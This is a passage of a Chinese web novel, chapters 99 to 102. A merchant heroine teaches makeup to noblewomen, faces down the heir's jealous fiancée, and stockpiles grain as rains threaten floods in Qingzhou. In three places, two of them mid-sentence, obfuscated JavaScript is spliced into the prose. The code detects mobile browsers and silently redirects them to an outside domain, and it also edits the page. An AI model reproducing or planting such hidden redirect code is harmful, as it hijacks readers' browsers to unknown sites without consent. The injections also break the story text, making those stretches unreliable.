“齐镖头请自便。”酒坛摆上桌,看着已经急不可耐想要喝酒的齐大虎,德福笑了笑,转身朝着柜台走去。 在德福走开后,齐大虎便开始自酌自饮起来,齐大虎一边品着酒,一边不住的点着头,脸上还露出了享受的表情。 “酒劲足却又不呛人,入喉顺滑,比特级太白酒还要香醇,真乃酒中极品!” 先喝一口酒,然后拿起筷子,夹起一片酒香芙蓉鸭脯放在嘴中细细的咀嚼着,酒香与肉香结合的刚刚好,一碟子鸭脯很快就被他横扫一空。 “哈哈哈,畅快,真是畅快!”不一会儿,小半坛醉诗仙下肚,齐大虎的脸颊迅速泛红,眼中已然出现了醉意。 有面熟的人看他微醺的状态,笑道:“齐大镖头,你这酒量也抗不过醉诗仙?” “醉诗仙可比太白酒猛太多了。”他一口酒一口菜,谁知喝了半两就感觉到头有些晕乎了,身体也在烈酒的刺激下渐渐发热。 “醉诗仙这个名号,真是一点都不虚!” “我不能再喝了,再喝就走不回去了。”齐大虎对自己的酒量有信心,但也感觉到了自己手脚变得虚浮起来,醉诗仙确实酒劲惊人,他快要扛不住了。 店里的伙计走过来,帮他把剩余的酒打包带走。 醉诗仙在酿造时傅知乔就测试过,它的酒精度数可以达到五十度左右,可不是酒劲大容易醉人么。 齐大虎离去后,大厅里还有人在议论不停。 醉诗仙,醉诗仙,连神仙都醉了,那得是何等的佳酿啊! “我刚刚就坐在他旁边桌,醉诗仙的酒香直往为鼻子里钻,光是闻一闻就很舒坦,要是能喝上一口该有多美妙啊!” “这醉诗仙当真如此厉害?连齐大虎都遭不住了?” “是啊,他怎么一坛酒都没喝完就遭不住了,我没记错的话目前太白楼里最能喝的人就是他了吧!” “醉诗仙的酒劲连齐大虎都遭不住,我还是不要去尝试了。” “我刚好跟你相反,要不是这酒太贵,我也想买一坛回去尝一尝。” “没错,就是太贵了,一坛就要五十两银子呢!” 有人嫌弃价格贵,也有人愿意千金一掷。 不过,看到齐大虎的反应后,客人们知道凭一人之力想喝光一坛醉诗仙是不现实的,有几位客人抵抗不住醉诗仙的酒香,当即决定把银子集中起来拼桌,无论如何,他们今天也要喝到醉诗仙! 最后在小二的推荐下,韩非和齐大虎两个客人的带动下,今天太白楼一共卖出去五坛醉诗仙。 在没有提前宣传的的情况下,对于卖出五坛醉诗仙这个销售成绩,傅知乔是满意的。 99. 山鸡也想当凤凰 端亲王府里。 “哥哥,你是不是真的很喜欢傅姑娘?”谢怀薇贼兮兮的问道。 谢卓微微皱眉:“你怎么知道她的?” “不告诉你!” 谢卓警告:“你不许去打扰她。” 当初母妃就是背着自己去找了傅知乔,还不知道在她面前说了些什么话,差点导致两人关系破灭。 关系破灭……谢卓捂着额头,好像他跟傅知乔的关系已经破裂了,就在他定亲的消息传出去的当天。 面对谢卓的警告,谢怀薇瘪瘪嘴,嘟囔道:“有了心上人就忘记亲妹妹。” “哥哥,我已经见过傅姑娘了,她的确是个难得一见的美人,难怪哥哥会对她念念不忘。”谢怀薇用老道的语气做出评价。 谢卓听的眉头直皱,“你在哪里见过她?” “当然是扶云阁喽,傅姑娘不但人长得漂亮,研究出来的吃食也很好吃。” 傅知乔会研究食物这点谢卓当然知道,不过,他已经很久没吃到她做的东西了。 谢卓摆摆手打发走谢怀薇,独自坐在椅子上发愣。 那天两人不欢而散,其实后来他有偷偷去见过她,看见傅知乔满脸红润,丝毫不见伤怀的模样,谢卓心里不平衡了,分开后她难道没有丝毫难过?难道只有自己在黯然神伤吗? 谢卓满怀期待去,最后败兴而归。 不管谢卓心中如何抗拒这门亲事,王府和尚书府两家的定亲宴还是如期举行,整个端亲王府里欢声笑语不断,每个人脸上都是喜气洋洋,只有谢卓面色阴沉。 “世子一表人才,把小女嫁到王府,老夫是一百个放心。”酒过三巡,于昊英兴奋的说话。 “能娶到令爱,是我们王府的福气。”谢弛与于昊英两人相互敬酒。 谢卓无法与他们一起沉浸到热烈的气氛中去,找了个借口出来透透气,走入庭院坐到凉亭里,看着平静的水面,他的心终于放松了一点。 不远处,于雅丹看到谢卓在凉亭里眼眸闪过几分亮光,她走到谢卓面前,俏脸上不由飞上一抹红晕,轻声打招呼:“世子。” 谢卓起身后退半步与她拉开距离,点点头算是回应。 于雅丹不想放弃与他单独相处的大好时机,绞尽脑汁想话题与他聊天。 于雅丹对他的心思丝毫不掩饰,谢卓自然知道,可他心中已经有了傅知乔,任何女子都无法再入他的眼了。 谢卓试探着问道:“于姑娘,这门婚事你是怎么想的?” “世子,这话是什么意思?”于雅丹一时没明白过来,为什么突然问这个问题? 她怎么想的?能嫁给意中人她当然是开心的呀! 谢卓面色严肃,清隽的眉眼下是一双冷然的眼睛。 于雅丹心中涌上一股不祥的预感。 “于姑娘,我对你并无男女之情。” 于雅丹双眼睁大,脸上的笑意瞬间消失,她很快调整好表情,尽量用轻快的语气说:“我相信感情是相处出来的。” “除了名分我什么都不能给你,这样,你还是想嫁我吗?” 空气顿然凝固。 于雅丹不敢置信地看着谢卓,她的脸色红了又白,白了又红,愣在原地手足无措。 谢卓毫不留情的话深深地刺痛了她,于雅丹脑中一片空白,强行把眼中的泪水给憋下去:“是的,即便是这样我也愿意嫁给你。” 这回轮到谢卓不知道该说什么了。 回到尚书府,于雅丹垂下眼眸,转身往自己屋子走去,她知道谢卓今天说这番话的原因,无非是有了心上人,对这门婚事不满意。 郭素兰注意到于雅丹在席间的话很少,眼中也染上了浅浅的愁思,她来到于雅丹的屋子。 “娘,世子是不是不喜欢我?”于雅丹满腔的委屈正无处发泄,见到娘亲自然是压制不住了。 郭素兰一把握住于雅丹的手,正色道:“怎么了?你好好同娘说说到底发生了什么事!” 于雅丹顿了顿,她无法将谢卓方才说过的话转述给郭素兰,只说自己感觉到世子的态度很冷淡,是不是不喜欢她。 郭素兰只当她是女儿家的小心思,安慰道:“你与世子多年未见了,关系疏远是很正常的,不过感情是培养出来的,相信假以时日世子定会倾心于你。” 于雅丹想起来前些日子自己在永安寺看见过世子和一女子同坐一辆马车,“世子心中是不是有别的女子?” “作为未来的王妃,你的目光要放长远一些。” “可是……”于雅丹还想说些什么。 “好了!”郭素兰打断她,笑着点了点她的额头道:“婚姻大事是由父母决定,你与世子这门婚事是板上钉钉的事,你就放一百个心吧!” 像他们这种富贵人家若是没有几个侍妾,正妻会被赋予“妒妇”的恶名,所以郭素兰对谢卓是否喜欢别的女子一事并不在意。 她告诫于雅丹:“天底下有哪个男人不收通房?王府是顶顶的富贵人家,你还指望世子一辈子守着你一个人过?雅丹,我的乖女儿,你只需要记住,你是王府八抬大轿的娶进府的媳妇,其他任何人都不会威胁到你的地位。” 于雅丹连连点头,但在郭素兰走后,她脸上的笑意顿时消失的一干二净。 二八年华,正处在少女怀春的时期,知道自己未来的夫君心中有了别的女子,这让她怎么能忍受? 于雅丹招来自己的贴身丫鬟耳语几句,叮嘱道:“切记不要打草惊蛇。” * 扶云阁里。 最近来问她什么时间有空去扶云阁里授课的人突然变多,傅知乔揉揉眉心,最近的事情太多,她差点把这一茬给忘记了。 扶云阁是会员制度,消费高的人可以得到傅知乔亲自指点妆容。 有许多贵女就是冲着这一点来的,傅知乔对周妙思和秦惜玉的妆容改造非常成功,见效快且不费力,所以有很多贵女都希望得到她的指点。 换句话说,想要得到傅知乔亲自教导只有两条路,一是在扶云阁里疯狂消费,扶云阁针对会员定期会有一对一指导活动的。二就是拼运气了,运气好的时候会碰到傅知乔来巡店,她偶尔也会帮店里的客人们指点一下妆容。 “化妆刷做的怎么样了?” 银杏:“做好了,明日就能取回来。” 傅知乔点点头,她按照自己记忆中的样子,画了图纸让工匠制作一批化妆刷。因为条件有限,目前只做了眼影刷、腮红刷、修容刷三种,加上之前自制的粉扑,用来作为妆容教学的工具应该不成问题。 得了傅知乔的肯定答复后,扶云阁就把傅知乔亲自指点妆容的消息放了出去的,不过,为了给来学习的贵女们一个良好的体验,傅知乔此次只开放了十个名额。 秦惜玉最近的穿衣打扮都十分惹眼,她的变化是显而易见的,知道她是跟着傅知乔学习了妆容画法才一日美过一日,其他的贵女们看了也十分眼红,变美的机会就在眼前,她们可不能错过了! 傅知乔亲自教学、加上名额有限,贵女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14915489|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们得了消息后来店里疯狂消费了一把,确定自己在前十名的行列中才罢休。 第一批的名额给了在店里消费多的十个人。 两日后,扶云阁里第一次妆容教程开始。 一大早,扶云阁外面就停了好几辆马车,光看马车的架势便知道车中的人身份不简单。贵女们在丫鬟的搀扶下,带着帷帽走进了扶云阁。 傅知乔选了店里的一个女侍作为展示模特。 “大家看,额头和鼻子这里的三角区域是很容易产生油脂的部位,脸上的油脂一变多那么胡粉妆容就会融掉,显得斑驳不雅,所以平日里一定要注重清洁……” 前面都是基础护肤内容,傅知乔简单的讲解了下,她的重点放在了教这群贵女的化妆手法上。 “接下来是脸颊部分,上了一层胡粉候她的肌肤有明显变白变细腻,但是全脸都是白白的看起来就有些不自然,所以接下来要在两颊扫上胭脂补充一点血色。” “画在颧骨与两腮之间的叫做腮红,长脸要从眼下的位置横着往两边画,圆脸要从眼下约两指的的位置往太阳穴画。” 傅知乔把手放在女侍的颧骨位置:“大家一定要注意我的手法,由下往上呈三角状扫开,一定不要硬生生的扫上去,要慢慢晕开才显得自然。” 随着她的手指一扫,女侍的脸颊立即红润起来了。 一套流程下来,女侍原本只能算清秀的外貌瞬间蜕变成小美人级别,走在路上都会吸引人多看两眼的程度。 这就是化妆术的威力! 在座的除了秦惜玉之外,其他人个个难掩激动之情,这招她们一定要学会! 讲解教学完了之后就进入到了体验阶段,傅知乔拿出配套的胡粉、胭脂、化妆刷,让贵女们亲自画一下感受感受。 “画腮红的诀窍是要找准两腮的位置,如果你的颧骨比较高,那么切忌把腮红大面积涂在颧骨下方,画腮红时下手一定要轻,不然容易画成猴子的屁股……” 贵女们都被她的话逗笑了。 傅知乔落落大方的仪态收获了所有贵女们的好感,刚来时还有两个贵女端着高贵的姿态,离开时她已经对傅知乔眉开眼笑了。 上妆手法高超、授课内容丰富、言语风趣易懂,这次妆容授课让她们受益匪浅,每个人都感到很满足。 “今天就教到这里,大家回去自行练习的即可。” 把所有人送走,傅知乔坐在椅子上歇了口气。 门口的女侍过来禀报:“姑娘,有一位自称姓于的姑娘找您。” 姓于?傅知乔回想了一圈,自己好像不认识什么姓于的,便以为她是想来听课的人,回答道:“今天的授课已经结束了,让她等下次吧!” 她话音刚落,就听见外传传来一阵喧哗声,伴随着女侍的呼喊声:“哎!哎!姑娘,你不能进去。” 砰的一声,门被推开,人已经闯了进来。 傅知乔皱眉看着来人,“这位姑娘,你有事吗?” 于雅丹看着傅知乔,问:“你就是傅知乔?” “敢问姑娘是?” “你不用知道我是谁,我只希望你不要再缠着世子爷了。” 傅知乔听后有一瞬的惊讶,随即又恢复了淡然的表情。 于雅丹有一瞬间被傅知乔的容貌惊讶到,但她很快就调整过来了。 有美貌又能如何?任以色侍人能有几分长久,一个商户女有什么资格跟她竞争,于雅丹表情轻蔑:“山鸡也想当凤凰,也不掂量掂量自己几斤几两。” 100. 回青州 这个于雅丹不知道受了什么刺激,居然跑到自己这里耍正室的威风,她难道不知道自己已经跟谢卓分开了吗? “于姑娘怕是有什么误会,我与世子爷并无干系。” “是吗?”于雅丹紧盯着傅知乔,“你说的最好是真的!” 若是一个普通的通房妾室她还能忽视,可世子已经为了这个女人说出了只能给她名分的话,这让于雅丹无法忍受,她一定要风风光光嫁进王府,绝不能让任何人影响自己嫁给世子。 来之前她想看看傅知乔是个什么样的人,想知道自己哪里不如她,为什么世子喜欢的是她而不是自己?见到人之后,于雅丹心里升起了浓浓的危机感。 肌肤晶莹如玉,似明珠美玉般纯净无瑕,于雅丹眼里闪过嫉妒之色,光看傅知乔的衣裳打扮也不如何华丽,但在她容光映照之下,自己身上华贵的锦缎也显得黯然无光了。 仅仅一瞬,于雅丹便回过神来。 在她看来,傅知乔没有什么背景,全靠着一副好皮囊才得到了世子的喜爱,这种以色侍人的手段是世家贵女最看不起的。 她忍不住出言奚落:“像你这种身份低微的女人,连进王府的资格都没有。” “于姑娘说得对。” 于雅丹愣了一下,神情有些错愕,下一秒她狠狠地瞪了傅知乔一眼:“果然是小门小户出身,没见过世面。” “是是是,于姑娘说得对。” 于雅丹顿时一噎,无论她说什么,傅知乔都附和她,这让她的脸色有些挂不住。 这样的无视比被辱骂更让人觉得难受。 深呼吸几次,于雅丹冷静下来:“傅姑娘,你是商贾出身,应该很明白何事情都要付出代价的,你为什么要奢求自己得不到的东西呢?” “何为奢求不到的东西?”傅知乔反问。 “你不过是靠着皮相迷惑了世子……” 傅知乔立即打断她的话:“生的一副好皮囊,这也是旁人羡慕不来的福气。” 屋内的气氛突然有些尴尬。 站在一旁当吃瓜群众的银杏已经看呆了,姑娘平日里待人都是极为和善的,她也是第一次看到自家姑娘如此咄咄逼人。 傅知乔是谁?她可不会任由自己被人欺负,俗话说“伸手不打笑脸人”,于雅丹来者不善,她自然也会见招拆招。 “我才是世子三书六礼定下的妻子,没有经过我的首肯你只能当个无名无分的外室。” “既然于姑娘如此有底气,那为何还要跑到我这个微不足道的人面前来耍威风呢?” “要不是你死缠烂打,世子怎么会被你迷惑?” 短暂的怔忪后,傅知乔脸上再次恢复了笑容,她将食指放在自己的嘴唇上,朝着于雅丹做了一个噤声的手势,走近两步在于雅丹耳边轻声道:“你怎么知道是我缠着世子?说不定是他缠着我呢!” “你……你不要脸!” 打蛇打七寸,对于于雅丹这种满脑子情爱的少女来说,随便说点话就能让她方寸大乱。 傅知乔故作惊讶,捂着胸口:“你不会生气了吧?”她转头对银杏说,“快上茶给于姑娘消消火,免得她气坏了身子。” 于雅丹气急了,狠狠的剜了一眼傅知乔,当即也顾不得自己淑女的形象了,破口而出:“以色侍人的低贱玩意,我倒要看看你能得意多久,等你姿色不在世子还会喜欢你吗?” 自从跟谢卓在一起后,她已经从好几个人嘴里听到“低贱”这个词了,傅知乔没有选择立即回嘴。 于雅丹以为她被自己吓到了,抬头得意的看了她一眼。 傅知乔还是刚才淡笑的神态,只是她身上散发出的冷意让于雅丹背脊一寒。 “于姑娘,这句话我也同样送给你,与其在这里讨伐我,倒不如多花点心思提升自己!”于雅丹的出现更加坚定了傅知乔的决心,她绝对不要入后院,成为一个整日围着男人转的人! “你算什么东西,居然敢教训我?”于雅丹恼羞成怒,扬起手就要给傅知乔一巴掌。 傅知乔飞快的抓住了她的手腕,将这一巴掌阻挡在了半空中,她红唇一钩,满脸的不屑之意:“于姑娘除了出身,又有哪里比得过我呢?” 于雅丹气的七窍生烟,自己的手腕还被人抓在手里,她用力甩开傅知乔的手,“你放开我!” 傅知乔已经懒得跟于雅丹纠缠,刚才给人讲了许久的课嗓子都有点沙哑了,她真诚的建议:“我虽是商户,但也是正经人家的女儿,是断断不可能做别人的通房妾室的,于姑娘大可不必将心思花在我身上。” 于雅丹猛地抬头,似乎是不敢相信。 “还有,你喜欢谁是你的事,不要什么脏水都往我身上泼,做人留一线,日后好相见,于姑娘,你说对吗?” 于雅丹盯着她看了好一会,“你最好说话算话!”说完她一甩袖子走了。 * 与满脑子都是要嫁给谢卓的于雅丹不同,傅知乔一门心思都扑在了自己的事业上。 转眼间又快到了春耕的时节,春风吹拂着大地,树上的新芽已经开始往外冒尖尖。 文山写信过来汇报农庄里的情况,因为有扩大种植桃黍的计划,村民们正在划田翻地,所以酒庄比起往年要更加忙碌一些。 事关一年口粮的大事,傅知乔必须要亲自回青州一趟。 太白楼和扶云阁的事宜暂时交给德福和小月负责,余柔岚留在京城监管,她自己则带着银杏和程业玄回青州。 余柔岚不同意,表示自己要跟她一起回去,但最后还是被傅知乔以京城这边的生意渐渐做大了,没有一个镇得住人守着可不行为理由给劝住了。 一来是京城这边确实需要人监管,余柔岚身为她娘是最好的人选,二来是傅知乔回青州要大展拳脚,有余柔岚在身旁她不好全力施展,毕竟她还要在余柔岚面前维持自己“柔弱”的形象。 太白楼里,傅知乔在调整她离开京城这段时间的人员安排,清点完楼里现有的酒水库存,做好余下的补货计划。走之前她还叮嘱了德福,说过不了多久就是周妙思的成亲日子,要德福寻一个寓意吉利的贺礼。 交代完所有事项,傅知乔准备回家收拾行李。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937837|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谁知,刚走到门口就碰到了赵均回。 赵均回来过太白楼好几次了,但一次都没有碰上傅知乔,好在,今天终于让他等到了。 看到傅知乔的身影,赵均回快速走到她身边,“傅姑娘。” “赵大人。”傅知乔后退半步行了个礼,顺便与他拉开距离。 赵均回没有注意到这个细节,见到傅知乔后他满眼都是笑意:“傅姑娘,在下有个不情之请想请你帮帮忙。” “赵大人有话不妨直说。” 赵均回并没有什么目的,只是想多跟她多说会话而已,但又害怕她会拒绝,便以找她买酒为借口,他看了下太白楼里的人,“这大厅人来人往的,不如换个安静的地儿说话?” 傅知乔沉吟了下,终究还是答应了。 太白楼二楼的雅间里,傅知乔和赵均回落座。 赵均回作揖行礼,有些不安的搓了搓衣角:“今日冒昧前来,是想问下傅姑娘手中可有特级太白酒?听闻特级太白酒是太白楼的产业,我便厚着脸皮来问你了。” “特级太白酒我这里倒是还有一坛,不过这酒产量稀少……” 赵均回意会:“傅姑娘请放心,特级太白酒的市价是多少我便出多少,绝不叫你吃亏。” 傅知乔点点头,让人去取酒。 赵均回眼里放射出异样的光芒,含笑道:“那就多谢傅姑娘了。” 在小二去取酒的间隙里,赵均回努力找话题跟傅知乔说话,傅知乔也是有问有答,以至于最后赵均回捧着酒坛离开时,整个人都是飘着的。 回青州的前一夜,银杏在帮她收拾衣物。 谢卓不知道从哪里知道了到她要离开的京城的消息,他再也顾不得自己的面子,急匆匆找了过来,“你要离开京城?” 傅知乔有点诧异,两人有段时间没联系了,她以为谢卓已经放弃了,怎么这会儿又出现了? 谢卓看到她疑惑的眼神,心中更是憋屈,“你就那么不想见到我吗?” “是!” 谢卓噎得哑口无言,气得直瞪她,可傅知乔根本不在意,示意银杏继续收拾,她走到桌前给自己倒了一杯茶,“世子今日前来是有什么事吗?” “知乔,你不要与我这么生分好不好?”说到这里,谢卓的语气突然软了下来,轻柔的像是在哄孩童一般:“你生意做得好好的,因为不想见到我而离开京城并不是一个明智的决定。” 窗外还飘着绵绵细雨,傅知乔无声的叹了一口气,“等等,你是不是误会了什么?我回青州是要去视察农耕情况。” “我还以为……”以为你要离开京城,再也不回来了。 谢卓脸上难掩错愕,才知道是自己误会了,他难堪地别过脸。 房间里突然安静下来,两个人谁也没有开口说话,谢卓心里很不是滋味,他们怎么就变成这样了呢? 傅知乔当然看得出谢卓整个人都被阴郁的情绪笼罩着,不过,要断就要断干净,藕断丝连不是她的作风。 谢卓见她态度冷淡,深深地看了她一眼后无奈离开了,他不会就这么放手的。 101. 连续降雨 天空刚刚泛起鱼肚白,程业玄驾着马车已经出了城门。 此行离京,傅知乔一共带了两辆马车,一辆马车上坐的是傅知乔,另一辆马车上放满了干粮和吃食。 傅知乔已有不少坐长途马车的经验,她不想再一次经历马车颠簸之苦,让银杏事先准备好厚厚的褥子垫在马车里,有褥子作为缓冲,路上也能过的舒坦些。 离开一年之久,陵水巷里还是老样子。 周围的邻居看到傅家门口停着马车,纷纷过来跟傅知乔打招呼,或许是去年对付姚成芳时留下了“威名”,现在陵水巷所有的街坊都对她很和善。 到家第二天,文山文江两人上门跟她汇报农庄里的近况,按照她的吩咐,文山带着村民们早就把那一百亩的荒地给开垦出来了。 开春雨水十分充沛,接连下了几场不大不小的雨,此时地里不干不湿种地正好。 因为刘家村的村民们大多是在酒庄里干活,所以每到春耕时节,酒庄里就会放慢生产速度,让村民们回家耕地种粮。 村民们既能赚钱也能种粮,自然是对傅知乔感恩戴德,她一出现在田地里,所有人都放下手头的活计跑来跟她打招呼:“东家回来了!”“东家好!” 傅知乔笑着应下了,“我就是来看看,大家都去忙吧!” 村民们稀稀拉拉的散去。 春耕对于农户来说是最重要的世界,刘家村无论男女老少,所有的劳力全都下地耕作,用耕牛耙好了田,把牛粪扔到田里增加肥力。 水稻秧苗也已经在培育了,等时间一到便可移栽到田里了。 在家里住了三天后,傅知乔带着银杏又住到了庄园里。 不过,在她们搬来的第二天就下起了雨,雨一下就下了七八天,雨量不大且时下时停的,春季本就雨水多,所以并没有人把这几场雨放在心里。 城里卖油纸伞、蓑衣、斗笠等雨具的铺子老板笑开了花,他们连去年的积压货都卖出去了。 雨虽然下的不大,但连续下个七八天还是很让人感到烦躁的。空气里都是潮气,衣服洗了很难晾干,霉菌在湿衣服上快速繁殖发出臭味,一切都让人难以忍受。 银杏忍不住抱怨道:“天天下雨,天天下雨!这雨还要下几天啊,好不容易出个太阳结果一两个时辰就没了,老天爷!你再不放晴我都快没衣服穿了!” 倒不是真的没有衣服穿,只是衣服都沾染了潮气,需要烘干才能穿。 傅知乔看着银杏气鼓鼓的小脸,安慰了两句。 雨断断续续的,总共下了十来天才渐渐停歇下来,这时候刘家村村口的的小溪已经变成一条小河。 村里地势较低的地方都已经被水淹没,农庄里新挖的浇灌池里也早就灌满了水,甚至溢了出来。 豆大的雨点打在脸上生疼生疼的,刘平谷查看完村里里状况回到家,脱下蓑衣后他才发现身上湿了大半。 妻子端来一碗姜汤:“喝点姜汤暖暖身子。” 刘平谷望着屋外倾盆大雨,边喝姜汤嘴里边唠唠叨叨,让妻子把检查好菜窖不要让雨水漏进去了。 刘平谷妻子:“放心吧!咱家房子整修过的,不用担心。” 自从到酒庄里干活后,家里的收入大幅增加,刘平谷家的房子已经翻新过一次,丝毫不用担心下雨漏水问题。 “天上乌云聚集,看来这雨一时半会儿是停不下来了,再这样下去,刚种下去的桃黍苗恐怕都要烂在地里了,不行,我得去找东家说道说道。” 作为有几十年种地的老手,刘平谷积累了丰富的气候经验,第一时间就把自己的担忧汇报上去了。 傅知乔听到刘家村有田地被淹后,心一下子就提了起来,她你农庄就在刘家村附近,如果刘家村被淹了,那么农庄里的作物很可能也保不住。 她是靠着卖酒起家的,粮食对她的重要性不言而喻。 “银杏,外面雨是不是小点了?” 银杏往外头看了一眼,“没有呢,姑娘你听错了。” 傅知乔忧心忡忡,自从刘平谷跟她说刘家村低洼的地方被水淹了后,她心里就一直无法平静下来。 第二天早上,雨还是稀里哗啦的下。 傅知乔不敢有半刻耽搁,叫上程业玄一路护着她来到刘家村。 此时刘平谷家已经聚集了不少头发花白的老人,他们种了一辈子的地,对连续下雨这种天气十分敏感。 傅知乔在来的路上视察过,目前刘家村的情况还不算太糟,积水不算特别深,最深处淹到了膝盖位置,最浅的地方只到盖住脚背。 目前确定不会被水淹没的地方是农庄南边的那片荒山,因为地势较高,种植灌溉都很不容易,所以那片山一直被荒废着。后来傅知乔要扩大种植面积,带领村民们开荒才把这座荒山开发出来,山上地势高,倒不用担心被淹。 但是,雨一直这么下下去的话,到时会发生什么事谁也不敢保证…… 傅知乔来到刘平谷家:“村长,情况怎么样?” 刘平谷把所有人的意见汇集到一起,回答:“姑娘,我们大伙都觉得这雨一时半会停不了,地里的桃黍苗可能保不住了。” 傅知乔眉心死死地拧着。 这的确不是一个好消息,如果高粱苗无法成活,那么今年醉诗仙的产量就要减少了。 往严重的说,如果高粱受到了暴雨的影响,那么大米、糯米等其他作物也同样会到暴雨的影响而减产…… “官府发通知了吗?” “报晓人来过了,他说今后几天都有雨。” 报晓人就是负责报告天气情况的人。 这么大的雨在青州很是少见的,如果只是下一会儿还好,最怕的就下个不停。 傅知乔继续追问:“赤水河上可有修建水坝?” 刘平谷意会:“有的,不过东家无须担心,赤水坝修的很高很牢固。” 赤水河上的堤坝修的很牢固,这种近乎自我催眠的话并不能让傅知乔放下心来。 她必须要保障好自己的酿酒原料,为了保证接下来的半年时间里都有粮食酿酒,傅知乔得不得早做打算。 当晚她就赶回了青州城里,找出青州城志仔仔细细翻看起来,城志里面一般会记载当地发生过的事。 翻到第二本城志的时候,傅知乔看到了自己想找的内容,八十年前青州就发生过一次水患。 这个信息让傅知乔不得不重视起来,接着她又找出了青州的地图查看,青州的地势比较平坦,有大小好几条河流穿过,其中最大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954202|131292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是赤水河。 持续性的降雨一定会让赤水河里的水位提升,当水位上升到一定的高度时,河水不能及时疏通,大坝被冲毁是大概率事件。 这个时代的堤坝修建技术有限,哪怕修的再牢固那也不是万无一失的。 傅知乔立即让文山派人去赤水坝附近守着,有情况及时汇报。 另一边,她分配给文江的任务是去周围各个县城里买粮,从所有能买粮食的地方紧急的收粮。 文江、文山、程业玄、王奇等人全部被她派出去买粮了,为了不引人注目,傅知乔让他们乔装打扮一番再去买粮,大的粮商就一万斤为单位采购,中小型的粮食铺子就以千斤为单位采购。 青州城最大的粮铺叫五谷粮铺,傅知乔是这里的常客。 粮铺掌柜的跟傅知乔已经很熟悉了,之前酿造太白酒的大米一直是在这里购买的,他立刻笑意盈盈地打着招呼。 傅知乔说明来意。 “十万斤?”粮铺掌柜十分诧异,“怎么一下子要买这么多粮食?” 十万斤大米其实不算多,但她之前采购是有规律的,一个月大约出来采购个一两次,每次采购的量一直是四五万斤左右。现在一下子从四五万斤提升到十几万斤,这种反常的行为难免会引起猜疑,她只能在平时购买的量上慢慢加一点。 傅知乔:“酒庄里准备酿新酒,需要大量的粮食,这不,我第一时间就想到黄掌柜的你了,黄掌柜,我可是你们五谷粮铺的大顾客了!” 黄掌柜哪能不明白她的意思,“傅老板亲自上门,我自然是要给你优惠了,到时候新酒酿出来了可别忘记送我一坛啊!” “好说好说。” 毕竟是商人,这么大一笔生意怎么能不做,黄掌柜爽快的答应了下来。 最后,她以十二文一斤的价格买了十万斤精粮。 她亲自带着人去收购粮食,她要的量大,给的价钱又公道,仅仅四五天就已经收购到了七八十万斤大米,高粱也有三十万斤,当然,账本上的钱也花掉了一大半。 仅仅留下了五万两银子作为酒庄备用资金,还有一万两银子作为工人们的工钱,除了这五六万两银子之外,其余几十万两银子全部被她投入到了买粮食里。 傅知乔此刻有点庆幸自己没有让余柔岚一块跟着回来,不然这么大笔的花销,她还要想办法去说服余柔岚同意。 大米和高粱加起来共收了一百多万斤,把农庄里那四五个大库房全部塞满了。 与此同时,修建新粮仓一事也在快马加鞭进行着,粮仓修建的事情她从购粮的第二日就开始准备了。 之前酒庄里修过粮仓,大家都有经验了,即便这一次的工程时间赶得很紧,村民和工人们都很配合,没日没夜的搬石料也没有丝毫偷懒的行为。 粮仓建的差不多后,还要在里面燃烧茅草干柴,利用用高温将粮仓里烘干,燃烧后的草木灰顺势埋在地底下,最大程度的做到吸水防潮。 同时,她还让文山去检查了酒庄里情况,粮仓、酒窖门口都堆放了沙袋,附近也有挖排水沟,酒庄里目前一切安好。 连续十几日了,雨水依旧是断断续续的没有要停下来的迹象。 精明的商家已经嗅到了商机,开始提升粮价。 102. 粮价暴涨 一开始还只是两文两文的涨价,随着雨越下越久,粮价也越来越贵,前两天她还能以正常的粮价收购,后两天就只能花大价钱去收购。 收购到两三百万斤的大米和高粱后,傅知乔收手了。 白天大部分都在下雨,大街上也看不到几个行人。 傅知乔干脆把两个铺子关了,给每个员工发了一笔钱,嘱咐他们回家买点粮食囤着以备不时之需。 连续的降雨,让越来越多的人意识到了粮食的重要性。 天刚亮,顾不得天空中的毛毛细雨,五谷粮铺门口已经挤了一大群人。 一个妇人愁容满面的,“哎,粮价又升了,粗粮都升到十五文一斤了,精粮更是要二十八文一斤,这么贵怎么吃得起啊!” 原本青州的粗粮是八文一斤,精粮是十三文一斤,现在翻了差不多一倍,百姓们怎么能不抱怨。 黄掌柜听到大家的抱怨声:“我们五谷粮铺已经很良心了,你去隔壁几个县城打听打听,小县城的粮食涨的比我们府城还要厉害!” “再贵也要买,人哪能不吃饭的。” 钱是死物,没有粮食自己就会饿死,手中拿着再多的银子又有什么用呢?现在花钱买粮就是在买自己的命。 “唉,说的也是,那我先买五十斤粗粮吧!” “我要二十斤粗粮,二十斤精粮。” “掌柜的,一百斤粗粮,五十斤精粮。”一个约摸五六十岁的老者驾着牛车过来。 “张大伯,你买那么多粮食干嘛?” 